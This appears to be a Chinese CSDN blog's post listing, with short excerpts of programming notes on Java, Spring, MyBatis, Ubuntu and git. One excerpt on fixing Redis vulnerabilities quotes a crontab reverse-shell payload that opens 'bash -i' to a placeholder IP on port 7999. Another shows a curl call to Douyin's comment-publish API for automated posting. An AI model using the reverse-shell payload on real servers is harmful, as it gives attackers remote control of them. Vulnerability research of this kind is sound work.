自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(54)
  • 收藏
  • 关注

原创 graalvm native-image编译报错

D:\workspace-java\graalvm-test>native-image MainError: Image build request for 'main' (pid: 44964, path: D:\workspace-java\graalvm-test) failed with exit status 30

2024-03-07 11:28:32 358

原创 研究抖音自动发帖api接口

curl 'https://www.douyin.com/aweme/v1/web/comment/publish?app_name=aweme&device_platform=webapp&aid=6383&channel=channel_pc_web&pc_client_type=1&version_code=170400&version_name=17.4.0&cookie_enabled=true&screen_width=1440&screen_height=900&browser_languag

2024-03-02 12:13:51 1052

原创 redis漏洞研究

目的: 修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell 漏洞(次要 ,毕竟需要密码)set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"这个乱码的引起到底是 centos?==》 crontab -e ==>==现在该 Redis Slave 就被转换为了新的 Redis Master。命令查看当前 Redis 实例的信息,确保已经成功变为了主节点。最后退出 Redis CLI,返回到原始的操作系统命令行界面。

2024-01-24 16:44:36 704

原创 vue2 swiper 跳到指定index

/切换到第一个slide,速度为1秒。

2023-05-31 22:19:54 872

原创 prometheus +pushgatewa +grafana的安装部署与测试

和同时讨论 prometheus 是适合存储监控指标,不适合记录每一个记录, 他时候定时的记录监控目标的瞬间状态,但是 你要让他存储完整的记录 ,他有translog 吗,他的存储是通过拉取的方式 就不适合当做数据库取用!---------------------------------------------------完结撒花-------------------------------------------prometheus 主要功能是负责数据的手机存储, 手机的来源是各种exporter。

2023-02-22 10:53:49 475

原创 spring 启动了两个tomcat 端口问题分析

spring 启动了两个tomcat 端口问题分析

2022-09-24 18:37:57 832

原创 如何设置es的内存

如何设置es的内存

2022-09-22 09:31:03 2274

原创 Failed to copy artifact or file with maven packaging a web application

Failed to copy artifact or file with maven packaging a web application手动删除target文件夹内容即可

2019-12-25 15:13:43 295

原创 webpack proxy invalid CORS

我之前的webpack的设置是module.exports = { dev: {// if you want dev by ip, please set host: '0.0.0.0' host: 'localhost', //如果 然后我用 127.0.0.1:9527页面显示接口不同 ,f12看了下 接口报错invalid CORS,...

2019-11-20 18:42:39 548

原创 spring websocket demo

 此demo在google浏览器下测试通过 首先websocket 的支持要分两部分 框架的支持 针对 spring框架 代码的支持 含有3部分代码 nginx的配置文件也需要改造pom.xml调整<dependency> <groupId>org.springframework</groupId> <artifa...

2019-02-20 16:31:59 268

原创 sping mvc websocket例子

2019-02-20 16:16:30 128

原创 windows ubuntu 双系统 重装windows后ubuntu启动项不见

重装win7用的老毛桃,把windows的系统盘格式化后,重新zhua装了win7系统。重启系统的时候发现,选择ubuntu和windows的选择项目不见了,参考网上的解决方式,用easybsd修改了启动项就解决了 1.easybcd  下载地址:http://www.onlinedown.net/soft/58174.htm2.运行easybcd3.添加Ubuntu引导...

2019-02-08 11:24:56 1252

原创 openjdk源码下载

近期由于要解决线上的kerberos认证问题需要查看rt.jar下的sub目录源码 ,但是官网一直不能下载,找了一圈发现github还有源码保存挺好的.链接如下https://github.com/frohoff/jdk8u-jdk/tree/master/src/windows/classes...

2018-09-13 08:56:16 1308

原创 spring security 多登陆入口实现方式 以及对spring security认证流程的理解

在需求上后台管理系统 需要有一个登陆页,同时手机端也允许普通用户登录。这个时候我设置两个http过滤器 <form-login login-page="/login.jsp" always-use-default-t

2015-08-17 14:47:02 5906 1

转载 css transition属性详解

transition 已经被越来越多的应用在了移动端的网页展示,一期能达到原生app的动画效果.比如这个屏幕的滑动.具体的属性详解可参考http://www.w3chtml.com/css3/properties/transition/transition.html四个属性:transition:[ transition-property ] || [ transition

2015-08-09 17:31:22 1259

原创 eclipse 中 properties 显示中文为\

在eclipse中安装插件地址http://propedit.sourceforge.jp/eclipse/updates/; 然后将文件以PropertiesEditor打开

2015-07-09 17:08:21 561

原创 树莓派用transmission搭建bt下载机

最近在树莓派上搭建Bt下载机,觉得 transmission不错,自己的开发机也可以安装transmission.Transmission 是个开源的小型BT下载客户端,能用命令行,桌面GUI和Web对任务进行管理。首先安装Transmission 的后台服务,apt-get install transmission-daemon(注意不是transmission要加-daemon)

2015-05-23 15:37:17 4573

原创 ubuntu /boot 空间显示不足

1.显示所有的内核版本dpkg --get-selections |grep linux-imagecolamachine@colamachine-Latitude-3330:/boot$ dpkg --get-selections |grep linux-imagelinux-image-3.13.0-32-generic installlinux-image-3.1

2015-05-08 09:14:47 404

原创 git操作指南

这里先把git常用的命令进行记录,等到以后再进行整理Q:push变更时候发现落后一个版本,那么怎么查看同步下来哪些内容A:git fetch 之后 git log -p master..orgin/master

2015-04-28 12:28:37 338

原创 mysql 常用知识

http://www.cnblogs.com/wuhou/archive/2008/09/28/1301071.html

2015-04-19 10:47:57 375

原创 当我们在用LoggerFactory.getLogger(xyz.class)时我们在干什么

我们在使用logback一类的logging system的时候总是在代码的前面部分放上这段代码private final Logger log = LoggerFactory.getLogger(AdController.class

2015-04-17 11:09:48 27488 2

转载 ubuntu 安装chrome

参考地址http://www.linuxidc.com/Linux/2014-04/100645p2.htm  wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb sudo dpkg -i google-chrome-stable_current_amd64.deb

2015-04-08 17:59:40 488

原创 eclipse 配置tomcat ubuntu

下载tomcat插件www.eclipsetotale.com/tomcatPlugin.html放置到eclipse下dropins下载tomcattomcat.apache.org/download-70.cgi解压重启eclipse配置tomcat window-> preferences-> tomcat需要对现有工程

2015-04-03 16:02:34 491

原创 ubuntu下git的安装及使用

sudo apt-get install gitmkdir ~/gitcd ~/gitgit config --global user.name  "xxxx"git config --global user.email "[email protected]"配置sshcolamachine@ubuntu:~/git$ ssh-keygenGenerating public/private rsa key ...

2015-04-03 13:44:39 558

原创 ubuntu下eclipse安装

下载www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/luna/SR2/eclipse-java-luna-SR2-linux-gtk-x86_64.tar.gz&mirror_id=1174官网下载eclilpse下载的路径应该在/home/colamachine/Downl

2015-04-03 09:53:12 3018

原创 spring cas 配置小知识

spring security 配置cas 的时候 在serviceProperties里的renew参数 id="serviceProperties" class="org.springframework.security.cas.ServiceProperties"> name="service" value="https://localhost:8443

2015-03-04 16:42:40 1213

原创 mybatis如何加载mapper并解析的

昨天因为几个错误去debug了下mybatis的代码,有些心得。首先,因为mybatis和spring 进行了整合,用到了spring mybatis的整合jar包,让spring管理了mybatis的类的生命周期。ClassPathXmlApplicationContext 首先会对applicationContext进行解析 事先装载所需要的类DefaultListableBe

2014-03-04 15:08:41 9027

原创 探究mybatis 是如何加载配置文件的

首先我使用的是spring+mybatis的组合spring版本3.2.3.RELEASEmybatis版本3.2.2利用maven搭建的框架pom.xml文件如下:<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

2014-03-04 09:13:42 3279

转载 解析UML类图符号

UML类图符号简介1.类(Class):使用三层矩形框表示。第一层显示类的名称,如果是抽象类,则就用斜体显示。第二层是字段和属性。第三层是类的方法。注意前面的符号,‘+’表示public,‘-’表示private,‘#’表示protected。2.接口:UML类图符号中接口使用两层矩形框表示,与类图的区别主要是顶端有>显示。第一行是接口名称。第二行是接口方法。3

2014-03-02 19:22:22 529

翻译 区域遮挡-视野

看起来有些问题得反反复复地解决,自动寻路是如此,另外一个是视野的计算。当你想知道光从A能否畅通无阻的传播到B点,你只要换一条A到B的直线,然后看看是否中间有阻碍物体。那么从A点发射出去的环绕中心360度的直线所能到达的点就形成了一块饼状的域,我们叫它视野Field of View.如果要精确的计算就需要无限条射线。所以你只能用一些最终导致降低精确度的办法:像素采样 格子 树形(像素和格子可以理

2013-12-11 23:24:51 2616

转载 设置firefox每次访问网页时检查所存网页的较新版本

我们做技术,经常在写页面的时候需要多次刷新测试,可是浏览器都有自己的缓存机制,一般CSS和图片都会被缓存在本地,这样我们修改的CSS就看不到效果了,每次都去清空缓存,再刷新看效果,这样操作太麻烦了。在IE下我们可以直接去修改internet选项,到internet临时文件选项的设置中,将检查网页中的较新版本改成每次访问此页时检查。这样我们就不用去清空缓存,每次刷新都能看到最新的网页内容

2013-12-10 12:35:15 2186

原创 java oracle 插入date字段

DataAccessUtil dau =new DataAccessUtil();        String sql = "UPDATE BPM_WORKLIST SET STATUS ='COMPLETED' , ENDDATE=to_date(?,'yyyy-MM-dd hh24:mi:ss' ) WHERE TASKID=? " ;                     

2013-11-12 15:49:15 1196

原创 代码要求

建议所有的buttonsControl 都写在一个函数体里,这样方便维护,其他函数里对按钮的操作也要单独治成一个函数来,或者在buttonsControl里加参数使用 例如buttonsControl(0)buttonsControl(1)这样使用 写名逻辑业务关系,考虑到按钮一直是业务的重头戏

2013-11-06 09:56:05 449

原创 对下拉可选框的总结

最近的项目里用了自己做的下拉可选矿 中间有部分是级联查询的 代码还有优化的空间 只是将代码摘抄出来 未来得及整理//获得对象的位置信息function getInfo(o){ var to=new Object(); to.left=to.right=to.top=to.bottom=0; var twidth=o.offsetWidt

2013-11-06 08:21:42 519

原创 怪物行动手册 the rule of monster

2013  10 27  pm 14:57 @kfc 吴山关于怪物的行动策略 +++   怪物 找人 搜索到视野范围内 移动路径内最短的人 如果找不到路径 首先选择人其次选择通往人的路径再其次找寻建筑再其次找寻通往建筑的路径方案2 最简单方案 +找寻最近的可以攻击的建筑和人这个时候可以进行消息传递机制 怪物以可以将自己的目标呼叫给身边的怪物,

2013-11-02 13:00:06 560

原创 写在加班的时候

最近在维护一些老代码,一个功能优化就修改了80多处的代码。以前自己写代码时候觉得将一个功能尽量放在一个package下挺好的,现在觉得更加强烈了,对这些零星分布的代码已经不是吐槽能所表达了,但是事情还是要做的。只能辛苦自己和测试了。想想看一个代码,如果连自己都没有写到尽量通俗易懂的话会给之后维护的人造成多大的麻烦,可是在现在这个行业里,人们东奔西跑,为了更好的待遇无可置疑,如果自己写的代码都能

2013-10-30 20:27:41 459

原创 将日期转换成中文 标准日期格式2013-10-11

/** * 日期转换成中文服务类 * @author zhangzw *2013-04-11 */public class DateToUpperChinese { private static final String[] NUMBERS = { "O", "一", "二", "三", "四", "五", "六", "七", "八"

2013-10-30 20:18:02 999

原创 oracle 得到连续不重复的数字序列

最近的一个客户的需求实在变态至极。需要取一个系统编号的字符串,串由3部分组成,前两个是汉字的拼音缩写,基本不难。最后一部分是一个4位数的纯数字从0001~9999,每次插入一条数据都要判断从0001开始到9999之间,第一个不存在的数字,已达到数字编号即不重复,有竟可能的连续,(如果没有删除的话每次只要取max+1即可,但是考考虑到可能中间有删除的,就存在了断档,那么最新插入的数据必须

2013-08-25 14:05:30 2752

原创 为什么要 Class.forName( driverClass );

以前做jdbc的连接的时候都提前一部使用 Class.forName( 来加载对应的数据库驱动包。Class.forName("oracle.jdbc.driver.OracleDriver");以下的代码是正确的jdbc连接,之后的实验都以此为对照。package test;import java.sql.Connection;import java.sql.DriverM

2013-08-09 11:29:22 2937

转载 Java String对象的经典问题(new String())

先来看一个例子,代码如下:Java代码  public class Test {      public static void main(String[] args) {          String str = "abc";          String str1 = "abc";          String str2 = new String("abc"); 

2013-08-08 17:38:22 409

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除